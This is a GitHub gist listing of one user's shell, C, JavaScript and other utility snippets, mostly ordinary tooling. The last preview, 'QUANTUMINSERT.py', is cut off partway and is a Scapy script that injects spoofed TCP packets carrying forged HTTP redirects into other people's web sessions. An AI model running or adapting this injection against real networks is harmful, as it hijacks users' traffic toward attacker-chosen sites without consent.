Skip to content

Instantly share code, notes, and snippets.

View jpouellet's full-sized avatar

Jean-Philippe Ouellet jpouellet

View GitHub Profile
@jpouellet
jpouellet / zbell.sh
Last active November 24, 2023 10:49
Makes Zsh print a bell when long-running commands finish. I use this in combination with i3 and throw big compile jobs (or whatever it may be) into another workspace to get a nice visual notification (workspace indicator turns red) when it's done so I don't need to waste time regularly checking on it.
#!/usr/bin/env zsh
# This script prints a bell character when a command finishes
# if it has been running for longer than $zbell_duration seconds.
# If there are programs that you know run long that you don't
# want to bell after, then add them to $zbell_ignore.
#
# This script uses only zsh builtins so its fast, there's no needless
# forking, and its only dependency is zsh and its standard modules
#
@jpouellet
jpouellet / fancy-debug.c
Created April 20, 2013 16:16
Fancy debug
/*
* depending on whether you use a named variadic macro or not you get either:
* fancy-debug.c:20:20: warning: ISO C does not permit named variadic macros
* or
* fancy-debug.c:28:13: warning: ISO C99 requires rest arguments to be used
* or sometimes both depending on your compiler.
*
* See also:
* http://gcc.gnu.org/onlinedocs/gcc-3.1/cpp/Standard-Predefined-Macros.html
* http://gcc.gnu.org/onlinedocs/cpp/Variadic-Macros.html
@jpouellet
jpouellet / lmod_autocompletion.bash
Last active April 7, 2022 00:33
Bash autocompletion plugin for TACC's module system
#!/bin/bash
# Bash autocompletion module for TACC's lmod
# http://www.tacc.utexas.edu/tacc-projects/mclay/lmod
# Written by Jean-Philippe Ouellet <jpo@vt.edu> at ARC
# http://www.arc.vt.edu/
# Try to intelligently narrow the completion suggestions
@jpouellet
jpouellet / quicklook-pager.sh
Last active December 28, 2015 18:09
Uses OS X's "Quick Look" as a pseudo-pager.
#!/bin/bash
# It'd be nice to allow users to pipe stuff into this and have it displayed.
# I had it working, but then I added the press-any-key-to-close functionality
# because clicking the X was annoying, and that consumes stdin.
#
# Ideally this would cause the window manager to focus on the quicklook window,
# which would be responsable for closing itself, but qlmanage seems to not be
# capable of doing that (at least as of 10.6.8).
#
@jpouellet
jpouellet / nasm-wrapper.sh
Last active March 28, 2016 11:21
Script to do simple one-liner nasm-format assembly/disassembly from the command line
#!/usr/bin/env bash
# do simple one-liner nasm-format assembly/disassembly from the command line
arch=i386
syntax=gas
usage() {
cat > /dev/null << EOF
usage: $0 [-a arch] [-s syntax] instruction
@jpouellet
jpouellet / wikipedia-summary.js
Created December 15, 2013 18:24
Gets the first paragraph of a wikipedia query. I'm sure there's a better way.
#!/usr/bin/env phantomjs
var system = require('system');
// because console.error currently goes to stdout
console.error = system.stderr.writeLine;
if (system.args.length !== 2) {
console.error('usage: ' + system.args[0] + ' query');
phantom.exit(1);
@jpouellet
jpouellet / keybase.md
Last active August 29, 2015 14:00
Keybase "proof" linking github.com/jpouellet and keybase.io/jpo

Please don't trust keybase for anything important. I view them as just another 3rd party and centralized point of failure.

Keybase is not a substitute for the web of trust and proper verification! Please don't treat it as such!

I don't trust the keybase wrapper for gpg, and I certainly don't trust crypto in my browser.

That said... I believe crypto should be used more in general, and if the

@jpouellet
jpouellet / posix.html
Created October 30, 2014 08:11
Allows POSIX documentation to be searched as a "Search Engine" in Chromium / Google Chrome.
<!DOCTYPE html>
<html>
<head>
<title>POSIX search wrapper</title>
<meta name="description" content="because Chrome search engines can't use POST requests" />
<script type="text/javascript">
window.addEventListener('load', function() {
document.getElementsByTagName('span')[0].textContent = window.location + '#%s';
var query = window.location.hash.substr(1);
if (query.length > 0) {
@jpouellet
jpouellet / foobar.m
Created November 3, 2014 08:32
OS X text status-item
#include <AppKit/AppKit.h>
#include <stdio.h>
#include <signal.h>
static void
handler(int sig __attribute((unused)))
{
close(STDIN_FILENO);
}
@jpouellet
jpouellet / QUANTUMINSERT.py
Created March 18, 2015 06:03
Ghetto QUANTUMINSERT with Scapy.
FOXACID = 'www.openbsd.org'
def QUANTUMINSERT(p):
p.show()
if Raw in p and p['Raw'].load.startswith('GET /') and p['Raw'].load.endswith('\r\n\r\n'):
ip = IP(flags='DF', src=p['IP'].dst, dst=p['IP'].src)
tcp = TCP(sport=p['TCP'].dport, dport=p['TCP'].sport, flags='PA', seq=p['TCP'].ack, ack=p['TCP'].seq + len(p['Raw'].load))
http = 'HTTP/1.1 307 Temporary Redirect\r\nLocation: http://'+FOXACID+'/\r\nConnection: close\r\n\r\n'
out = ip / tcp / http
print '[*OUT*]'